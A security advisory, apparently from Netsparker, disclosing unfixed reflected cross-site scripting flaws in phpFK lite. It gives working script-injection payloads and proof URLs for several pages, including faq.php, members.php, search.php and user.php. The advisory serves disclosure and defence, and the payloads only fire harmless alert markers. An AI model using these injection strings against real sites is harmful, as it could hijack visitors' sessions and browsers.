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*Information:*  
  
Advisory by Netsparker  
Name: Multiple Cross-site Scripting Vulnerabilities in phpFK  
Affected Software: phpFK  
Affected Versions: lite-version  
Homepage: https://www.frank-karau.de/  
Vulnerability: Reflected Cross-site Scripting  
Severity: 7.4 High  
Status: Not Fixed  
CVSS Score (3.0): CVE-2017-18364  
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N  
Netsparker Advisory Reference: NS-19-006  
  
*Technical Details:*  
  
/faq.php (Query Based (Query String))  
  
Parameter Name : Query Based  
Parameter Type : Query String  
Attack Pattern :  
'"--></style></scRipt><scRipt>netsparker(0x00164F)</scRipt>  
Proof URL : http://  
{domain}/faq.php?'"--></style></scRipt><scRipt>alert(0x00164F)</scRipt>  
  
/members.php (Query Based (Query String))  
  
Parameter Name : Query Based  
Parameter Type : Query String  
Attack Pattern :  
'"--></style></scRipt><scRipt>netsparker(0x00158E)</scRipt>  
Proof URL : http://  
{domain}/members.php?'"--></style></scRipt><scRipt>alert(0x00158E)</scRipt>  
  
/members.php (search (GET))  
  
Parameter Name : search  
Parameter Type : GET  
Attack Pattern : x%22+onmouseover%3dnetsparker(0x0069A0)+x%3d%22  
Proof URL : http://  
{domain}/members.php?search=x"%20onmouseover=netsparker(0x0069A0)%20x="&sort=username  
  
/members.php (search (POST))  
  
Parameter Name : search  
Parameter Type : POST  
Attack Pattern : x%22+onmouseover%3dnetsparker(0x006EBA)+x%3d%22  
  
/search.php (Query Based (Query String))  
  
Parameter Name : Query Based  
Parameter Type : Query String  
Attack Pattern : '"--></style></scRipt><scRipt>netsparker(0x00171D)</scRipt>  
Proof URL : http://  
{domain}/search.php?'"--></style></scRipt><scRipt>alert(0x00171D)</scRipt>  
  
/user.php (user (GET))  
  
Parameter Name : user  
Parameter Type : GET  
Attack Pattern :  
%3c%2ftitle%3e%3cscRipt%3enetsparker(0x001122)%3c%2fscRipt%3e  
Proof URL : http://  
{domain}/user.php?user=</title><scRipt>netsparker(0x001122)</scRipt>  
  
For more information:  
https://www.netsparker.com/web-applications-advisories/ns-19-006-reflected-cross-site-scripting-in-phpfk/